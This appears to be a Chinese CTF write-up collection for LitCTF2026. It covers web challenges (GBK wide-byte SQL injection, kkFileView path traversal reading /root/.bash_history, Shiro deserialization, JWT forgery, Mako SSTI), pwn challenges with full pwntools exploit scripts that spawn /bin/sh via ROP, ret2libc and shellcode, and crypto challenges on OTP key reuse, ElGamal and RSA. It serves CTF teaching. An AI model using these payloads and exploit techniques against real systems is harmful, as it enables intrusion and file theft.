前言
题解来源:探姬老师
源码已开源:https://github.com/ProbiusOfficial/LitCTF2026
->WEB方向
lit_ezsql
本项目为一道宽字节注入(GBK + addslashes)SQL 注入题目样例。
题目说明
- 访问入口:
/ - 注入参数:
id - 后端使用
addslashes风格的转义处理输入 - 数据库连接使用 GBK 编码执行查询
- 目标:通过宽字节注入绕过转义,读取独立表
flag_store.flag
运行方式
cd LitCTF-ezsql
docker compose up --build
访问:http://127.0.0.1:8081
本题已调整为单容器部署,页面中未保留注入提示,适合平台环境下直接交付。
难点提示
GBK 编码下,某些双字节字符可以令 \ 作为字符的一部分出现,从而绕过 addslashes 对单引号的转义。
示例攻击思路:
- 利用
id参数构造 GBK 宽字节字符,例如%DF%5C - 形成语句闭合并注入
UNION SELECT ... FROM flag_store
使用示例
在浏览器地址栏或攻击工具中直接访问:
http://127.0.0.1:8081/query?id=%DF%5C%27+UNION+SELECT+1,flag,1,1,1+FROM+flag_store--+
如果希望调试 SQL 语句,可追加 &debug=1。
Flag 存储
flag_store 表中包含目标 Flag。
核心 payload 如下,%DF%5C 在 GBK 下组成宽字节吞掉反斜杠,后面的单引号重新闭合字符串。
http://<host>/query?id=%DF%5C%27+UNION+SELECT+1,flag,1,1,1+FROM+flag_store--+
Northbridge Document Hub
这题是登录态 + kkFileView 兼容接口任意文件读取。登录页引用的 portal.js 里有一段 Base64 种子,解码后就是弱凭据。
echo cmVzZWFyY2hlcjpSZXNlYXJjaCMyMDI2 | base64 -d
# researcher:Research#2026
登录后访问 /kkfileview/getCorsFile,参数 urlPath 会被 Base64 解码后交给 KkPathResolver。代码意图是把非缓存目录路径强制拼到 /opt/kkfileview/cache/parsed 下,但 Paths.get(CACHE_ROOT).resolve(candidate) 遇到绝对路径时会保留 candidate 本身,导致可以读取任意绝对路径。
package com.ctf.lab.util;
import java.nio.charset.StandardCharsets;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;
public class KkPathResolver {
private static final String CACHE_ROOT = "/opt/kkfileview/cache/parsed";
public Path resolve(String encodedSource) {
String decoded = new String(Base64.getDecoder().decode(encodedSource), StandardCharsets.UTF_8);
// Compatible with legacy kkFileView callback style:
// file:///opt/kkfileview/cache/parsed/report.zip?fullfilename=report.zip
String normalized = decoded.replace("\\", "/");
int queryIdx = normalized.indexOf('?');
if (queryIdx >= 0) {
normalized = normalized.substring(0, queryIdx);
}
if (normalized.startsWith("file://")) {
normalized = normalized.substring("file://".length());
}
Path candidate = Paths.get(normalized).normalize();
// Intended hardening: non-cache paths are forced under cache root.
// Vulnerability: when candidate is absolute (e.g. /root/.bash_history), resolve() keeps it unchanged.
if (!candidate.toString().contains("/opt/kkfileview/cache/")) {
candidate = Paths.get(CACHE_ROOT).resolve(candidate).normalize();
}
return candidate;
}
}
先读取 /root/.bash_history,里面会泄露 kkFileView 缓存 zip 的文件名和路径。
curl -i -c c.txt -d 'username=researcher&password=Research%232026' http://<host>/login
curl -b c.txt 'http://<host>/kkfileview/getCorsFile?urlPath=L3Jvb3QvLmJhc2hfaGlzdG9yeQ=='
历史命令里能看到 q1_finance_report_2026.zip 位于 /opt/kkfileview/cache/parsed。继续用同一接口下载 zip,然后解压 flag.txt。
curl -b c.txt -o q1.zip 'http://<host>/kkfileview/getCorsFile?urlPath=ZmlsZTovLy9vcHQva2tmaWxldmlldy9jYWNoZS9wYXJzZWQvcTFfZmluYW5jZV9yZXBvcnRfMjAyNi56aXA/ZnVsbGZpbGVuYW1lPXExX2ZpbmFuY2VfcmVwb3J0XzIwMjYuemlw'
unzip -p q1.zip flag.txt
# 本地 compose 默认 flag: flag{kkfileview_audit_read_history_then_download}
华辰企业服务运营平台
1. 信息收集
访问 /actuator 可见已暴露大量端点,重点关注:
/actuator/mappings/actuator/heapdump/actuator/env/actuator/beans
从 /actuator/mappings 能发现业务接口较多,其中 /api/admin/audit/list 名称明显偏管理侧。
2. heapdump 泄露 Shiro 关键参数
下载 heapdump 后检索关键字符串,可拿到:
lab.shiro.key-b64=<...>lab.shiro.alg-mode=GCM
说明 rememberMe Cookie 使用 Shiro AES-GCM 模式。
3. 利用 Shiro rememberMe 反序列化拿第一段 flag
使用泄露的 key + GCM 模式构造 rememberMe 反序列化 payload,执行命令:
cat /flag_part1.txt
得到 flag 前半段。
4. 垂直越权拿第二段 flag
普通用户登录(前端仅公开用户名 user)后,直接请求:
GET /api/admin/audit/list
接口仅校验登录态,未校验 admin 角色,返回 items 列表,其中 legacy note 字段包含 flag 后半段。
5. 拼接
将两段按顺序拼接得到完整 flag。
lit_reverse_my_web
题目概述
本题是一个用 Go 编写的简易「管理系统」:支持注册与登录,鉴权采用 JWT(HS256)。Flag 仅对 role 为 admin 的请求开放(GET /flag)。普通用户注册后角色固定为 user,无法通过正常业务路径提升为管理员,因此需要 从服务端二进制中恢复 JWT 签名密钥,再 伪造 role=admin 的 JWT 访问受保护接口。
解题思路总览
- Web 侧确认:注册、登录后携带 Cookie(
token)或Authorization: Bearer,访问/flag会得到 403(需要管理员权限),说明必须改 JWT 中的role。 - 逆向侧:对下发的
server二进制做静态分析,找到 JWT 密钥的生成逻辑(简单 单字节 XOR 混淆),还原 32 字节 HMAC 密钥。 - 利用:用还原出的密钥对 JWT 进行 HS256 签名,在 Payload 中写入
role: "admin"及与服务端一致的其它声明,请求GET /flag即可拿到动态 Flag。
一、Web 行为
| 接口 | 说明 |
POST /register | 创建用户,密码经 bcrypt 存储,角色固定为 user。 |
POST /login | 校验成功后签发 JWT,并通过 HttpOnly Cookie token 返回(也可用 JSON API 取 token)。 |
GET /flag | 校验 JWT;仅当 role == "admin" 时读取容器内 /flag 并返回内容。 |
结论:仅靠「自己注册的用户」登录,JWT 里永远是 user,无法直接读 Flag。
二、逆向:恢复签名密钥
2.1 定位线索
- 程序使用 Go 编写,发行版通常带
-s -w,符号被裁掉,但.rodata中的常量数组 仍可被搜索到。 - 在 IDA / Ghidra / Binary Ninja 中搜索与 JWT / HS256 相关的字符串,或搜索 32 字节连续数据,结合反汇编可看到对一段固定长度缓冲逐字节做 异或 再参与签名。
2.2 算法形态(本题设计)
密钥在运行时被还原为 32 字节,形式为:
- 二进制内嵌 混淆后的字节序列
encKey(长度 32)。 - 使用 单字节掩码
xorMask(本题为0x5A)逐字节异或还原:
key[i] = encKey[i] ^ xorMask
选手在逆向中应能直接读出 encKey 的 32 个字节 与 xorMask 常量,本地用任意脚本还原 key 即可。
2.3 还原示例(Python)
enc = bytes([
0x28, 0x17, 0x2d, 0x05, 0x68, 0x6a, 0x68, 0x6c,
0x05, 0x36, 0x33, 0x2e, 0x39, 0x2e, 0x3c, 0x05,
0x30, 0x2d, 0x2e, 0x05, 0x29, 0x3f, 0x39, 0x28,
0x3f, 0x2e, 0x05, 0x31, 0x3f, 0x23, 0x7b, 0x7b,
])
xor_mask = 0x5A
key = bytes(b ^ xor_mask for b in enc)
assert len(key) == 32
# key 为 32 字节 HS256 密钥材料(ASCII 可打印串)
说明:若出题人更换了 encKey 或 xorMask,以上十六进制应以你实际逆向出的数据为准;思路不变。
三、伪造 JWT 并取 Flag
3.1 声明(Claims)要点
服务端使用 github.com/golang-jwt/jwt/v5,自定义结构包含:
role(string):必须设为admin。- 嵌入
RegisteredClaims,至少需满足解析与过期校验: sub:主题(用户名),任意合法字符串即可(例如pwn)。iss:签发者,须为reverseMyWeb(与题目实现一致)。iat/exp:签发时间与过期时间(Unix 秒),exp须晚于当前时间。
算法:HS256,密钥为上一节还原的 32 字节 key。
3.2 使用 PyJWT 生成 Token
pip install pyjwt
import time
import jwt
key = bytes(b ^ 0x5A for b in enc) # enc 为逆向得到的 32 字节混淆表;或直接使用还原后的 key
now = int(time.time())
payload = {
"sub": "pwn",
"role": "admin",
"iss": "reverseMyWeb",
"iat": now,
"exp": now + 3600,
}
token = jwt.encode(payload, key, algorithm="HS256")
print(token)
3.3 请求 Flag
curl -s -H "Authorization: Bearer <上一步输出的 JWT>" http://<题目地址>/flag
若使用浏览器里登录拿到的 Cookie,也可在开发者工具中把 Cookie token 替换为伪造的 JWT 再访问 /flag(注意 HttpOnly 场景下需用插件或改由 curl 带 Authorization)。
默认返回 纯文本 为平台注入的 Flag(由容器启动脚本写入 /flag)。若请求头包含 Accept: application/json,则响应为 JSON:{"content":"<flag 内容>"}。
与 FLAG / DASFLAG / GZCTF_FLAG 等环境变量对接方式见容器 docker-entrypoint.sh。
四、小结
| 步骤 | 内容 |
| 1 | 确认普通用户无法通过注册获得 admin。 |
| 2 | 逆向二进制,得到 XOR 混淆表 + 掩码,还原 32 字节 HS256 密钥。 |
| 3 | 使用 HS256 签发含 role: admin、iss: reverseMyWeb、有效 exp 的 JWT。 |
| 4 | GET /flag 携带 Authorization: Bearer(或替换 Cookie)获取 Flag。 |
本题考察 Go 二进制静态分析 与 JWT 对称密钥伪造 的基础组合;密钥仅从 XOR 一层混淆中恢复,难度偏入门至中等。
lit_ezssti
题目是 Mako SSTI,常规 ${…} 回显被禁,ASCII 点号也被禁,后续还追加了 =、flag、[] 等字符限制。思路是不用 ${},改用 <% %> 执行 Python 语句,再通过 Mako 模板内部的 __M_writer 把结果写进输出缓冲。
open 和 read 不需要点号访问;/flag 与 read 字符串用 chr 拼出,避免直接出现敏感字面量。
<% __M_writer(getattr(open(chr(47)+chr(102)+chr(108)+chr(97)+chr(103)), chr(114)+chr(101)+chr(97)+chr(100))()) %>
__M_writer 不是公共 API,而是 Mako 编译模板时生成/注入的内部输出函数;本题环境可用,因此能在不写点号和 ${} 的情况下完成文件读取回显。
->PWN方向
lit_ropchain
题目描述
程序里的碎片散落一地,没有现成的钥匙能打开 shell 之门。 你需要像拼图大师一样,把一个个小小的代码碎片(gadgets)拼接起来, 先读取 “bin/sh” 到内存,再召唤 system 之力。
Hints:
- 程序里没有 /bin/sh 字符串,你需要自己把它写进内存(比如 bss 段)。
read(0, buf, length)可以帮你把输入写入指定地址,但需要控制 rdi、rsi、rdx 三个寄存器。- 如果找不到
pop rdx; ret,试试ROPgadget找其他能控制 rdx 的 gadget(比如 __libc_csu_init 里的片段)。 - 这是一道练习 “链式 ROP” 的好题目:先用 read 写字符串,再调用 system。
- 你可以用 pwntools 的
ROP(elf)对象自动搜索 gadget 并构建链。
exp.py:
import os
import time
from pwn import *
# context.log_level = 'debug'
context.arch = "amd64"
def pwn_connect(path):
h = os.environ.get("PWN_HOST")
if h:
return remote(h, int(os.environ.get("PWN_PORT", "9999")))
return process(path)
def maybe_verify(io):
if os.environ.get("PWN_VERIFY") == "1":
time.sleep(0.5)
io.sendline(b"id")
io.recvuntil(b"uid=", timeout=10)
io.close()
log.success("verify ok")
else:
io.interactive()
elf = ELF("./ropchain")
io = pwn_connect("./ropchain")
bss_buf = 0x403460
read_plt = elf.plt["read"]
system_plt = elf.plt["system"]
pop_rdi = 0x401166
pop_rsi = 0x40116B
pop_rdx = 0x401170
ret = 0x40101A
rbp = bss_buf
log.info(f"bss_buf: {hex(bss_buf)}")
log.info(f"read@plt: {hex(read_plt)}")
log.info(f"system@plt: {hex(system_plt)}")
offset = 64
payload = b"A" * offset
payload += p64(rbp)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi)
payload += p64(bss_buf)
payload += p64(pop_rdx)
payload += p64(0x10)
payload += p64(ret)
payload += p64(read_plt)
payload += p64(pop_rdi)
payload += p64(bss_buf)
payload += p64(ret)
payload += p64(system_plt)
io.sendlineafter(b"Input: ", payload)
time.sleep(0.3)
io.sendline(b"/bin/sh\x00")
maybe_verify(io)
lit_ret2text32
题目描述
欢迎来到 Pwn 的世界!这是一道最基础的32位栈溢出题目。 程序里藏着一扇后门,只要你能让程序”走错一步”,它就会为你打开 shell 之门。
Hints:
- 32位程序和64位程序最大的区别是什么?参数放在哪里?
- 在32位程序中,函数参数是放在栈上的,而不是寄存器里。
- 如果你要调用 system(“/bin/sh”),栈布局应该是:
[填充] + [system地址] + [system的返回地址(随意)] + [“/bin/sh”地址]
- 用
checksec查看保护,用IDA或objdump找地址。 - 尝试用 pwntools 的
cyclic计算溢出偏移。 - 这是你的第一把钥匙,拿到 shell 后记得
cat flag。
exp.py:
import os
import time
from pwn import *
# context.log_level = 'debug'
context.arch = "i386"
def pwn_connect(path):
h = os.environ.get("PWN_HOST")
if h:
return remote(h, int(os.environ.get("PWN_PORT", "9999")))
return process(path)
def maybe_verify(io):
if os.environ.get("PWN_VERIFY") == "1":
time.sleep(0.3)
io.sendline(b"id")
io.recvuntil(b"uid=", timeout=10)
io.close()
log.success("verify ok")
else:
io.interactive()
elf = ELF("./ret2text32")
io = pwn_connect("./ret2text32")
system_plt = elf.plt["system"]
bin_sh_addr = next(elf.search(b"/bin/sh"))
backdoor = elf.symbols["backdoor"]
log.info(f"system@plt: {hex(system_plt)}")
log.info(f"/bin/sh: {hex(bin_sh_addr)}")
log.info(f"backdoor: {hex(backdoor)}")
# vuln: lea -0x38(%ebp) -> buf; +4 saved ebp => 0x38+4 = 60 to saved EIP
offset = 60
payload = b"A" * offset + p32(backdoor)
io.sendlineafter(b"Input: ", payload)
maybe_verify(io)
lit_ret2syscall32
题目描述
这是一台32位的古老机器,没有 system(),没有 /bin/sh,连 libc 都沉默不语。 但每一个程序都能向内核祈祷——通过中断门 int 0x80。 你能唤醒这台机器最深层的系统调用之力吗?
Hints:
- 32位 Linux 的系统调用通过
int 0x80触发。 execve("/bin/sh", NULL, NULL)的系统调用号是 11 (0xb)。- 你需要控制 eax (syscall number), ebx (1st arg), ecx (2nd arg), edx (3rd arg)。
- 用 ROPgadget 搜索
pop eax,pop ebx,pop ecx,pop edx和int 0x80。 - 程序里没有 /bin/sh,你需要自己把它写进可写的内存段(比如 .data 或 bss)。
- 用
mov dword ptr [edx], eax这样的 gadget 可以帮助你写入内存。
exp.py:
import os
import time
from pwn import *
# context.log_level = 'debug'
context.arch = "i386"
def pwn_connect(path):
h = os.environ.get("PWN_HOST")
if h:
return remote(h, int(os.environ.get("PWN_PORT", "9999")))
return process(path)
def maybe_verify(io):
if os.environ.get("PWN_VERIFY") == "1":
time.sleep(0.3)
io.sendline(b"id")
io.recvuntil(b"uid=", timeout=10)
io.close()
log.success("verify ok")
else:
io.interactive()
elf = ELF("./ret2syscall32")
io = pwn_connect("./ret2syscall32")
pop_eax = elf.symbols["gadget_pop_eax"]
pop_ebx = elf.symbols["gadget_pop_ebx"]
pop_ecx_ebx = elf.symbols["gadget_pop_ecx_ebx"]
pop_edx = elf.symbols["gadget_pop_edx"]
mov_edx_eax = elf.symbols["gadget_mov_edx_eax"]
int_0x80 = elf.symbols["gadget_int_0x80"]
data_buf = elf.symbols["data_buf"]
log.info(f"data_buf: {hex(data_buf)}")
offset = 0x48 + 4
rop = b""
rop += p32(pop_edx)
rop += p32(data_buf)
rop += p32(pop_eax)
rop += b"/bin"
rop += p32(mov_edx_eax)
rop += p32(pop_edx)
rop += p32(data_buf + 4)
rop += p32(pop_eax)
rop += b"//sh"
rop += p32(mov_edx_eax)
rop += p32(pop_edx)
rop += p32(data_buf + 8)
rop += p32(pop_eax)
rop += p32(0)
rop += p32(mov_edx_eax)
rop += p32(pop_ebx)
rop += p32(data_buf)
rop += p32(pop_ecx_ebx)
rop += p32(0)
rop += p32(data_buf)
rop += p32(pop_ebx)
rop += p32(data_buf)
rop += p32(pop_edx)
rop += p32(0)
rop += p32(pop_eax)
rop += p32(0xB)
rop += p32(int_0x80)
payload = b"A" * offset + rop
io.sendlineafter(b"Input: ", payload)
maybe_verify(io)
lit_ret2shellcode
题目描述
这是一个古老的工坊,工匠们在这里直接在栈上刻写代码。 传说栈上的墨迹还未干涸,代码就能直接运行。 你能在这块可执行的栈上写下属于你的咒语,并让它执行吗?
Hints:
- 检查程序保护,你会发现一个”久违的朋友”——栈是可执行的。
- 当栈可执行时,我们不需要借用程序里已有的函数,可以直接执行自己写的机器码。
- 你可以用 pwntools 的
asm()或shellcraft生成 shellcode。 - 64位程序下,execve 的系统调用号是 59 (0x3b),你需要设置 rdi=”/bin/sh”,rsi=0,rdx=0,然后执行 syscall。
- 试着把 shellcode 布置在栈上,然后让返回地址指向它。
exp.py:
import os
import time
from pwn import *
# context.log_level = 'debug'
context.arch = "amd64"
context.os = "linux"
def pwn_connect(path):
h = os.environ.get("PWN_HOST")
if h:
return remote(h, int(os.environ.get("PWN_PORT", "9999")))
return process(path)
def maybe_verify(io):
if os.environ.get("PWN_VERIFY") == "1":
time.sleep(0.3)
io.sendline(b"id")
io.recvuntil(b"uid=", timeout=10)
io.close()
log.success("verify ok")
else:
io.interactive()
elf = ELF("./ret2shellcode")
io = pwn_connect("./ret2shellcode")
io.recvuntil(b"buf is at ")
buf_addr_str = io.recvuntil(b"\n", drop=True)
buf_addr = int(buf_addr_str, 16)
log.info(f"Leaked buf address: {hex(buf_addr)}")
shellcode = asm(shellcraft.amd64.linux.sh())
log.info(f"Shellcode length: {len(shellcode)} bytes")
offset = 0x70 + 8 # 112 + 8 = 120
payload = shellcode.ljust(offset, b"\x90") + p64(buf_addr)
io.sendlineafter(b"Leave your mark on the stack: ", payload)
maybe_verify(io)
lit_ret2libc
题目描述
这个程序里没有后门,但它调用了一些标准库函数。 当你无法直接找到 system() 或 /bin/sh 时,libc 就是你最好的朋友。 你能从程序的”记忆”中读取 libc 的秘密,并借用它的力量打开 shell 吗?
Hints:
- 这个程序没有 system() 函数,也没有 /bin/sh 字符串,所以 ret2text 行不通。
- 但程序调用了 puts(),而 puts 的真实地址存放在 GOT 表中,已经由 libc 填充。
- 你可以构造一个 ROP 链,调用 puts(puts@got) 来打印 puts 的真实地址,从而泄露 libc 基址。
- 泄露之后,别忘了让程序返回到 main() 再次运行,这样你能发送第二段 payload。
- 知道 libc 基址后,就能算出 system() 和 /bin/sh 在内存中的位置。
- 64位程序传参用寄存器:rdi 是第一个参数,需要
pop rdi; retgadget。
exp.py:
import os
import time
from pwn import *
# context.log_level = 'debug'
context.arch = "amd64"
def pwn_connect(path):
h = os.environ.get("PWN_HOST")
if h:
return remote(h, int(os.environ.get("PWN_PORT", "9999")))
return process(path)
def maybe_verify(io):
if os.environ.get("PWN_VERIFY") == "1":
time.sleep(0.3)
io.sendline(b"id")
io.recvuntil(b"uid=", timeout=10)
io.close()
log.success("verify ok")
else:
io.interactive()
# Load the binary
elf = ELF("./ret2libc")
libc = ELF(os.environ.get("LIBC_PATH", "/lib/x86_64-linux-gnu/libc.so.6"))
io = pwn_connect("./ret2libc")
# Gadgets
pop_rdi = 0x4011B7 # pop rdi ; ret
ret = 0x40101A # ret for stack alignment
rbp = 0x403420 # .bss section
leak_value = elf.symbols["leak_value"]
main_addr = elf.symbols["main"]
puts_got = elf.got["puts"]
log.info(f"pop_rdi: {hex(pop_rdi)}")
log.info(f"leak_value: {hex(leak_value)}")
log.info(f"main: {hex(main_addr)}")
log.info(f"puts@got: {hex(puts_got)}")
offset = 64
payload1 = b"A" * offset
payload1 += p64(rbp)
payload1 += p64(pop_rdi)
payload1 += p64(puts_got)
payload1 += p64(ret)
payload1 += p64(leak_value)
payload1 += p64(ret)
payload1 += p64(main_addr)
io.sendlineafter(b"Tell me your name: ", payload1)
io.recvuntil(b"Leak: ")
leaked_line = io.recvline().strip()
leaked_puts = int(leaked_line, 16)
log.info(f"Leaked puts@libc: {hex(leaked_puts)}")
libc_base = leaked_puts - libc.symbols["puts"]
log.info(f"Libc base: {hex(libc_base)}")
system_addr = libc_base + libc.symbols["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh\x00"))
log.info(f"system@libc: {hex(system_addr)}")
log.info(f"/bin/sh@libc: {hex(binsh_addr)}")
payload2 = b"A" * offset
payload2 += p64(rbp)
payload2 += p64(pop_rdi)
payload2 += p64(binsh_addr)
payload2 += p64(ret)
payload2 += p64(system_addr)
io.sendlineafter(b"Tell me your name: ", payload2)
maybe_verify(io)
lit_integer_overflow
题目描述
程序说它会读取你指定长度的数据,但这个长度检查真的安全吗? 当数学的边界被打破,栈上的秘密就将暴露无遗。 听说程序里藏着一个神秘的后门,你能找到它吗?
Hints:
- 注意观察
read_data函数中的长度检查,思考有符号整数和无符号整数的区别。 - 当你可以控制读取长度时,栈上会发生什么?
- 程序中有一个
backdoor函数,试着用栈溢出让程序”走错路”进入后门。 - 64位程序的返回地址覆盖需要填充 rbp (8字节)。
exp.py:
import os
import time
from pwn import *
# context.log_level = 'debug'
context.arch = "amd64"
def pwn_connect(path):
h = os.environ.get("PWN_HOST")
if h:
return remote(h, int(os.environ.get("PWN_PORT", "9999")))
return process(path)
def maybe_verify(io):
if os.environ.get("PWN_VERIFY") == "1":
time.sleep(0.3)
io.sendline(b"id")
io.recvuntil(b"uid=", timeout=10)
io.close()
log.success("verify ok")
else:
io.interactive()
# Load the binary
elf = ELF("./integer_overflow")
io = pwn_connect("./integer_overflow")
# Address of backdoor function
backdoor = elf.symbols["backdoor"]
# Stack alignment: amd64 Sys V requires RSP % 16 == 0 before call; one `ret` re-aligns after overflow.
rop = ROP(elf)
ret = rop.ret.address
log.info(f"backdoor address: {hex(backdoor)}")
log.info(f"ret gadget: {hex(ret)}")
# Send a negative size to bypass the check and cause massive overflow
io.sendlineafter(b"How many bytes do you want to read? (0-63): ", b"-1")
offset = 64 + 8 # buf size + saved rbp
payload = b"A" * offset + p64(ret) + p64(backdoor)
io.sendlineafter(b"Invalid size! But I'll still read it anyway...\n", payload)
maybe_verify(io)
->Crypto方向
lit_xor_two_story
这道题在考什么
一次性密码本(OTP) 要求:与明文等长的密钥/密钥流只能使用 一次。若用同一段密钥流 k 加密了两条明文 M_1 和 M_2,就犯了「密钥复用」错误。此时两条密文会发生 异或可消去密钥 的现象,从而泄露两条明文的 异或差。
本题里,第二条明文 M_2 在 README 里完整公开;第一条 M_1 是 flag,未知。你手上有 c_1,c_2(十六进制在 output.txt),以及 M_2 的准确字节内容,目标是恢复 M_1。
(有些变体会只给你 M_1 的前缀例如 litctf{,再用「已知明文」逐字节推 keystream;本题采用「整条 M_2 已知」,对新手更直接。)
一步一步的代数
加密可写成(逐字节异或,\oplus 表示 XOR):
c_1 = M_1 \oplus k,\qquad c_2 = M_2 \oplus k
注意 \oplus 满足结合律,且对任意 x 有 x\oplus x=0。
把两式异或:
c_1 \oplus c_2 = (M_1 \oplus k) \oplus (M_2 \oplus k)
= M_1 \oplus M_2 \oplus (k \oplus k)
= M_1 \oplus M_2
密钥 k 被消掉了。 于是你得到的是两条明文的异或,而不是某一条明文本身。
但题目还告诉你 完整的 M_2,所以:
M_1 = (c_1 \oplus c_2) \oplus M_2
计算顺序在实现里就是把三段字节逐字节异或;也可以先算 x = xor(c1,c2) 再 m1 = xor(x, m2)。
Python 里怎么写(思路)
- 从
output.txt把c1、c2的十六进制解码成bytes(长度应各为 40)。 - 把 README 里的
M_2原样写成bytes常量(注意引号、下划线、!等,少一个字节都会错)。 - 计算:
x = bytes(a ^ b for a, b in zip(c1, c2))
m1 = bytes(u ^ v for u, v in zip(x, M2_KNOWN))
print(m1.decode())
标准库即可,无需第三方库。
为什么不用先求 k
你也可以先求 k = c_2 \oplus M_2,再算 M_1 = c_1 \oplus k。结果与上面等价。任选一种顺手的即可。
新手常见坑
M_2抄错:必须与出题时字节串 完全一致(README 里那行,含两个!,总长 40)。- 十六进制解码:用
bytes.fromhex(...),不要带0x;注意一行里不要夹杂空格(除非你的解析逻辑允许)。 - 把题当成要去破解随机密钥:关键是 代数消去
k,不是猜 RNG。
和「只知道 litctf{ 前缀」变体的关系
若某题只公开「第一段明文以 litctf{ 开头」,你可以用前缀与 c_1\oplus c_2 推出 M_1\oplus M_2 在那些位置上的字节,再 逐位 crib-drag 推断后续字符。本题不需要到这步,因为你已经拥有 整段 M_2。
完整脚本在哪里
同级目录 solve.py 从 output.txt 读入 c1,c2 并写入常量 M2_KNOWN,打印 flag。
想扩展阅读
- 维基:One-time pad — 为何「只用一次」至关重要。
lit_elgamal_handshake
这道题在考什么
ElGamal 加密里,私钥 x 必须保密:有了 x,任何人都能从密文恢复明文。本题模拟「日志误把 x 打印出来」——因此你不需要会算离散对数(不需要从 y=g^x 反推 x),题目已经白给 x 了。
读完应掌握:
- ElGamal 密文
(c_1,c_2)与明文m(表示成整数)的关系; - 模运算下用「乘法逆元」消去一项;
pow(底, 指数, 模)与pow(底, -指数, 模)在 Python 里怎么求逆。
最小背景:ElGamal 在算什么
设公钥是 (p,g,y),其中 p 是大素数,g 是模 p 下的生成元(代码里会选合适的 g),且
y \equiv g^x \pmod p
这里 x 是私钥,保密。加密时选随机数 k,得到密文:
c_1 \equiv g^k \pmod p,\qquad c_2 \equiv m\cdot y^k \pmod p
其中明文 m 会先被编码成一个整数(本题里对应 bytes_to_long(flag)),且满足 0\le m < p。
为什么泄露 x 就完了
攻击者目标是从 (c_1,c_2) 恢复 m。
注意 y^k \equiv (g^x)^k \equiv g^{xk} \pmod p。而 c_1 \equiv g^k,所以
c_1^x \equiv (g^k)^x \equiv g^{kx} \equiv y^k \pmod p
也就是说:靠泄露的 x 和公开的 c_1,可以直接算出加密时用到的 y^k(模 p)。
再看 c_2 \equiv m\cdot y^k。若记 t \equiv y^k \pmod p,则
m \equiv c_2 \cdot t^{-1} \pmod p
其中 t^{-1} 表示 t 在模 p 下的乘法逆元,即满足 t\cdot t^{-1}\equiv 1\pmod p 的整数。
把 t = c_1^x 代入,得到标准写法:
m \equiv c_2 \cdot (c_1^x)^{-1} \pmod p
和 Python 一行代码的对应关系
综合上式,明文整数 m 可以写成:
m \equiv c_2 \cdot \bigl(\mathrm{pow}(c_1, x, p)\bigr)^{-1} \pmod p
在 Python 3.8+ 里,pow(a, b, p) 支持 b 为负数:pow(c1, -x, p) 表示 \bigl(\mathrm{pow}(c_1,x,p)\bigr)^{-1}(在 c_1^x 与 p 互素时可逆;本题场景下成立)。
因此核心就是:
m = c2 * pow(c1, -x, p) % p
最后用 Crypto.Util.number 里的 long_to_bytes(m) 把整数转回字节串,.decode() 得到可读 flag 字符串(若全是 ASCII)。
按步骤做(可当检查清单)
- 从
output.txt读出整数p, g, y, c1, c2, x(注意题目里可能分行写)。 - 计算
m = c2 * pow(c1, -x, p) % p。 long_to_bytes(m),解码为字符串。- 若解码报错或乱码,回头检查是否抄错数字、是否
% p遗漏。
新手常见坑
- 以为要算离散对数:本题不需要从
y求x,x已在输出里。 pow与%顺序:对大整数应全程用带模的pow,不要先算c1**x再取模(会慢且占内存)。long_to_bytes与长度:若m高位有 0,long_to_bytes仍会给出正确字节序列;若 flag 前有噪声字节,多半是m算错。
完整脚本在哪里
仓库根目录同级下的 solve.py 从 output.txt 解析参数并打印 flag,可直接对照运行。
想扩展阅读
- CTF-Wiki:ElGamal
lit_rsa_neighbor
这道题在考什么
标准 RSA:公钥 (n,e),密文 c,满足 c \equiv m^e \pmod n,其中 m 是明文编码成的整数。若你能把 n 分解成 n=pq,就能算 \varphi(n)=(p-1)(q-1),再算私钥指数 d \equiv e^{-1}\pmod{\varphi(n)},最后 m \equiv c^d \pmod n。
本题的特殊之处在于:p 与 q 不是随便选的素数,而是 q 等于「从某个 p 出发连续按 下一个素数 走很多步」得到的结果。这样 p 和 q 在数轴上仍然靠得很近,于是 n=pq 可以用 费马分解法(Fermat factorization) 快速分解,而不需要通用的大整数分解算法。
直觉:为什么要用费马
若 n=pq 且 p,q 都很大但很接近,可以写 p=a-b、q=a+b(差分与和的分解稍后由代数给出)。或者换个角度:p,q 都在 \sqrt{n} 附近。费马方法就是在 \lfloor\sqrt{n}\rfloor 附近找合适的整数 a,使得 a^2-n 是完全平方数。
费马分解在算什么(一步步推导)
希望找到整数 a,b 使得
n = a^2 - b^2 = (a-b)(a+b)
若令 p=a-b、q=a+b,就有 n=pq。
算法想法:
- 令
a=\lfloor\sqrt{n}\rfloor+1(从比\sqrt{n}大一点的地方开始); - 计算
D=a^2-n; - 若
D是完全平方数,设b=\sqrt{D}(整数),则成功:n=(a-b)(a+b); - 否则
a\leftarrow a+1,回到步骤 2。
为什么对本题有效?因为 p,q 很接近时,a=\frac{p+q}{2} 离 \sqrt{n}=\sqrt{pq} 非常近,只需要很少的步数就能试到正确的 a。(严格论证需要更多数论,初学可先当「经验法则」。)
Python 3.8+ 用 math.isqrt(n) 求 \lfloor\sqrt{n}\rfloor,再判断是否平方:isqrt(D)**2 == D。
RSA 解密那一串公式是什么意思
已知分解 n=pq:
\varphi(n)=(p-1)(q-1)(两不同素数的欧拉函数);e与\varphi(n)互素时,存在d使得ed\equiv 1\pmod{\varphi(n)};- 欧拉定理告诉我们:若
\gcd(m,n)=1,则m^{\varphi(n)}\equiv 1\pmod n,从而c^d \equiv m^{ed} \equiv m\pmod n。
实现上:
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi) # 模逆;即扩展欧几里得求 d
m = pow(c, d, n)
再用 long_to_bytes(m) 得到字节串 flag。
按步骤做(检查清单)
- 从
output.txt读出n, c, e(通常为e=65537)。 - 费马分解得到
p,q,确认p * q == n。 - 算
phi、d、m。 long_to_bytes(m).decode()。
新手常见坑
- 用试除从 2 开始除:对 1024 比特级别的
n不可行;本题用费马是因为p,q很近。 - 分解后搞反
p,q:RSA 里只要两因子对即可,顺序无所谓。 pow(c, d, n)的模:始终是 模n,不是模\varphi(n);\varphi(n)只用来算d。
出题脚本在干什么(帮助理解题意)
出题时用 gmpy2.next_prime 从随机素数 p 开始迭代若干步得到 q。步数不需要你在解题时知道:你只要看到 n,c,e,暴力分解用费马即可。README 里解释「相邻素数步进」是为了 剧情与思维建模,不是解题必要条件。
完整脚本在哪里
同级目录 solve.py:读 output.txt → 费马分解 → RSA 解密 → 打印 flag。
想扩展阅读
- CTF-Wiki:RSA 基础
- CTF-Wiki:针对模数的攻击 —
p,q过近 / 费马分解
